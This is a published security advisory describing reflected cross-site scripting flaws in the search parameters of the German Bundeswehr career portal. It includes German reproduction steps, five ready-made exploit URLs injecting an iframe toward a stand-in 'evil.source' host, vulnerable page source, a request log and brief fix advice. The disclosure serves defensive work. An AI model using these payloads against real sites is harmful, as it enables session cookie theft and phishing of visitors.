The Bundeswehr Karriere portal suffered from multiple cross site scripting vulnerabilities.
de1f3d2b8b6eb34d152c970b16a0b4bfDocument Title:
===============
Bundeswehr Karriere - Cross Site Scripting Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2213
Vulnerability Magazine:
https://www.vulnerability-db.com/?q=articles/2020/04/04/bundeswehr-career-page-weak-spot-permanently-closed
Video: https://www.vulnerability-lab.com/get_content.php?id=2197
Release Date:
=============
2020-04-15
Vulnerability Laboratory ID (VL-ID):
====================================
2213
Common Vulnerability Scoring System:
====================================
4
Vulnerability Class:
====================
Cross Site Scripting - Non Persistent
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
===============================
Als Bundeswehr bezeichnet man die Streitkräfte der Bundesrepublik
Deutschland einschließlich der Bundeswehrverwaltung und
weiterer Organisationsbereiche, die im Geschäftsbereich des
Bundesministeriums der Verteidigung liegen. Die BWI Informationstechnik
GmbH wurde 2006 von Bundeswehr, IBM und Siemens gegründet. Zusammen mit
den Gesellschaften BWI Systeme GmbH und BWI
Services GmbH bildet sie den BWI Leistungsverbund zur Umsetzung von
Herkules, der größten öffentlich-privaten
Partnerschaft in Europa.
(Copy of the Homepage: https://de.wikipedia.org/wiki/Bundeswehr)
(Copy of the Homepage:
https://de.wikipedia.org/wiki/BWI_Informationstechnik)
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core APT Research Team has identified
several cross site scripting vulnerabilities in a
web application of the German Bundeswehr. The Bundeswehr career portal
is affected.
Affected Product(s):
===============
Hersteller: Bundeswehr
Technology: Web-Server
Produkt: Bundeswehr Karriereportal (Web-Applikation)
Module: Suchmaschine - Karriere
Dienstleister: BWI
Vulnerability Disclosure Timeline:
==================================
2020-04-15: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Pre auth - no privileges
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Coordinated Disclosure
Technical Details & Description:
================================
Several non-persistent cross site scripting scripting security
vulnerabilities have been discovered in the official career site of
the German Bundeswehr. The vulnerability type allows attackers to
manipulate client-side controlled application calls.
The cross site scripting vulnerabilities are located in the
'termination', 'interests', 'careers' and 'search' parameters of
the 'career' module in the 'search' function. The GET method request is
not cleanly cleaned up when retrieving with the vulnerable
parameters. There is no validation where the request is intercepted,
cleaned or filtered. As a result,
attackers can submit their own malicious input to the https request to
the official Bundeswehr career website. In the
search, all parameters from the new page are listed and thus finally
executed via the request. In the case of a
successful attack, an attacker could, for example, steal session
information such as cookies, generate phishing pages,
identify persons with external calls, integrate client-side exploits
(drive-by) or redirect to harmful web server pages.
Since the web server should recognize all external sources or integrated
calls, there may be a problem with the
security of the SSL certificate via the Same Origin Policy.
The security risk of cross site scripting vulnerabilities in the search
function of the web application are considered medium.
To exploit the vulnerability, an attacker does not need a web
application user account, but does require light user
interaction by visiting a link. Exploitation of the vulnerability
results in the theft of cookie information, calling harmful
external sources in the Bundeswehr web context or spear phishing attacks.
Request Method(s):
[+] GET
Vulnerable Service(s):
[+] Bundeswehr Karriere (Web-Applikation) www.bundeswehrkarriere.de
Vulnerable Module(s):
[+] Karriere Suche (ajax/filterlist/de/auswahl/33050/)
Vulnerable Parameter(s):
[+] Abschluss
[+] Interessen
[+] Laufbahnen
[+] Suche
Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by attackers without a privileged
user account but with light user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manuelle Schritte zum reproduzieren der Sicherheitslücke
1. Öffne die Bundeswehr Karriere Webseite
Note: https://www.bundeswehrkarriere.de/karriere
2. Starte einen http/https protocol session tamper zum eingreifen in den
Aufruf (live)
3. Starte eine Suche und klick auf die Lupe
4. Beim suchen fügt der Angreifer live im session tamper programm im GET
method request seine payloads ein
5. Der Inhalt der Parameter wird unten in der Suche ausgegeben und führt
sich direkt aus
6. Erfolgreiche Reproduktion der Sicherheitslücke!
PoC: Payloads (Exploitation)
https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E;Abschluss:Abitur;Interessen:Fuehrung;Laufbahnen:Unteroffiziere;Suche:test
https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:Militaerisch;Abschluss:Abitur;Interessen:Fuehrung;Laufbahnen:%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E;Suche:test
https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:Militaerisch;Abschluss:Abitur;Interessen:%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E;Laufbahnen:Unteroffiziere;Suche:test
https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:Militaerisch;Abschluss:%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E;Interessen:Fuehrung;Laufbahnen:Unteroffiziere;Suche:test
https://www.bundeswehrkarriere.de/karriere#auswahl=Militaerisch/Zivil:Militaerisch;Abschluss:Abitur;Interessen:Fuehrung;Laufbahnen:Unteroffiziere;Suche:test%20%3E%22%3Ciframe%20src=evil.source%20onload=alert(%22CYBERALLIANZ%22)%3E
PoC: Vulnerable Source
<div class="row">
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 js-filter
js-filter-multi" data-defaultlabel="Bitte wählen Sie"
data-selectlabel="gewählt" data-update="true"
data-required="false" data-disabled="true" data-connection="OR"
data-key="subjecttaxonomy" data-label="Organisationsbereiche"
data-id="33052">
<h5 class="">Organisationsbereiche</h5>
<select class="filter-select js-select select2-hidden-accessible"
multiple="" data-enable-placeholder="true" data-placeholder="Bitte
wählen Sie" tabindex="-1" style="" aria-hidden="true">
<option data-label="Bundeswehrverwaltung" data-id="31730"
data-facet="0" value="31730"
data-text="Bundeswehrverwaltung">Bundeswehrverwaltung</option>
<option data-label="Heer" data-id="31732" data-facet="0"
value="31732" data-text="Heer">Heer</option>
<option data-label="Luftwaffe" data-id="31820" data-facet="0"
value="31820" data-text="Luftwaffe">Luftwaffe</option>
<option data-label="Marine" data-id="31822" data-facet="0"
value="31822" data-text="Marine">Marine</option>
<option data-label="Streitkraeftebasis" data-id="31824"
data-facet="0" value="31824"
data-text="Streitkräftebasis">Streitkräftebasis</option>
<option data-label="Sanitaetsdienst" data-id="50290"
data-facet="0" value="50290"
data-text="Sanitätsdienst">Sanitätsdienst</option>
</select><span class="select2 select2-container
select2-container--default" dir="ltr" style="width: 155px;"><span
class="selection"><span class="select2-selection
select2-selection--multiple"
role="combobox" aria-autocomplete="list" aria-haspopup="true"
aria-expanded="false" tabindex="-1"><ul
class="select2-selection__rendered"><li class="select2-search
select2-search--inline first last">
<span tabindex="0" class="search-placeholder" data-title="Bitte wählen
Sie" data-defaulttitle="Bitte wählen Sie"><input
class="select2-selection--multiple select2-search__field" type="button">
</span></li></ul></span></span><span class="dropdown-wrapper"
aria-hidden="true"></span></span>
</div><div class="col-lg-6 col-md-6 col-sm-6 col-xs-12 js-filter
js-filter-single" data-defaultlabel="Bitte wählen Sie"
data-update="true" data-connection="OR" data-key="subjecttaxonomy"
data-required="false" data-disabled="true" data-label="Laufbahnen"
data-id="33122">
<h5 class="">Laufbahnen</h5>
<div class="btn-group-responsive">
<select class="filter-select js-select
select2-hidden-accessible" data-enable-placeholder="true"
data-placeholder="Bitte wählen Sie" tabindex="-1" style=""
aria-hidden="true">
<option>Bitte wählen Sie</option>
<option data-label="Mannschaften" data-id="31858"
data-facet="0" value="31858" data-text="Mannschaften">Mannschaften</option>
<option data-label="Unteroffiziere" data-id="31864"
data-facet="0" value="31864"
data-text="Unteroffiziere">Unteroffiziere</option>
<option data-label="Feldwebel" data-id="31860" data-facet="0"
value="31860" data-text="Feldwebel">Feldwebel</option>
<option data-label="Offiziere" data-id="31862" data-facet="0"
value="31862" data-text="Offiziere">Offiziere</option>
<option data-label="Reserve" data-id="50304" data-facet="0"
value="50304" data-text="Reserve">Reserve</option>
<option data-label="Mittlerer_Dienst" data-id="41976"
data-facet="0" value="41976" data-text="Mittlerer Dienst">Mittlerer
Dienst</option>
<option data-label="Gehobener_Dienst" data-id="41978"
data-facet="0" value="41978" data-text="Gehobener Dienst">Gehobener
Dienst</option>
<option data-label="Hoeherer_Dienst" data-id="41980"
data-facet="0" value="41980" data-text="Höherer Dienst">Höherer
Dienst</option>
</select><span class="select2 select2-container
select2-container--default select2-container--below" dir="ltr"
style="width: 125px;"><span class="selection">
<span class="select2-selection select2-selection--single"
role="combobox" aria-autocomplete="list" aria-haspopup="true"
aria-expanded="false" tabindex="0"
aria-labelledby="select2-kbwa-container"><span
class="select2-selection__rendered" id="select2-kbwa-container"
title="Unteroffiziere"><span><span class="js-label">Unteroffiziere</span>
<span class="caret"></span></span></span><span
class="select2-selection__arrow" role="presentation"><b
role="presentation"></b></span></span></span>
<span class="dropdown-wrapper" aria-hidden="true"></span></span>
</div>
</div></div>
<div class="row">
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 js-filter
js-filter-search" data-update="true" data-connection="OR" data-key="search"
data-required="false" data-disabled="true" data-label="Suche"
data-id="33126">
<h5 class=" hidden">Suche</h5>
<div class="form-group">
<input class="form-control js-search-input"
placeholder="Suchbegriff" type="text">
<input id="search-term" class="js-search-submit" value="Suche"
type="button">
</div>
</div></div>
PoC: Execution
Suche
Laufbahn
Bitte wählen Sie**
AuswahlX
<javascript:void();>AbiturX>"<[MALICIOUS PAYLOAD!]
<javascript:void();>UnteroffiziereX>"<[MALICIOUS PAYLOAD!]
<javascript:void();>FuehrungX>"<[MALICIOUS PAYLOAD!]
<javascript:void();>test >"<[MALICIOUS PAYLOAD!]
//
Laufbahnen
* // Laufbahnen <#>
* // Jobprofile <#>
* // Auch interessant <#>
Keine Treffer gefunden
Bitte geben Sie Ihren bereits erreichten oder angestrebten
Schulabschluss an, damit wir Ihnen Ihre passenden Jobmöglichkeiten
anzeigen koennen.
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET
https://www.bundeswehrkarriere.de/ajax/filterlist/de/auswahl/33050/h_368f9ea9884c87f4c9d45368542ba48f?subjecttaxonomy=33120%2331848%3B33118%2331770%3B33052%2331732%3B33122%2341980%3B50510%2350470
&search=33126%23%3E%22%3Ciframe+src%3Dhttp%3A%2F%2Fwww.test.de%3E&limit=12&offset=0&sort=relevance+asc%3Bsearchdate+asc
Mime Type[text/html]
Request Header:
Host[www.bundeswehrkarriere.de]
Referer[https://www.bundeswehrkarriere.de/karriere]
Connection[keep-alive]
Response Header:
200 OK
Server[Apache]
Content-Type[text/html;charset=UTF-8]
Content-Language[de]
x-varnish[23952790]
Via[1.1 varnish-v4]
Accept-Ranges[bytes]
Connection[close]
Solution - Fix & Patch:
=======================
The security gap can be quickly resolved by the following work-around ...
1. Input fields must prevent the input of special characters (Disallow
Specialchars)
2. Parse or filter the content of the parameters via GET to prevent input
3. Use the escape function for the output at the end of the function
4. Check why the SSL certificate does not expire on external calls
Security Risk:
==============
The security risk of client-side cross site scripting web vulnerability
in the Bundeswehr career application is to be rated as medium.
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
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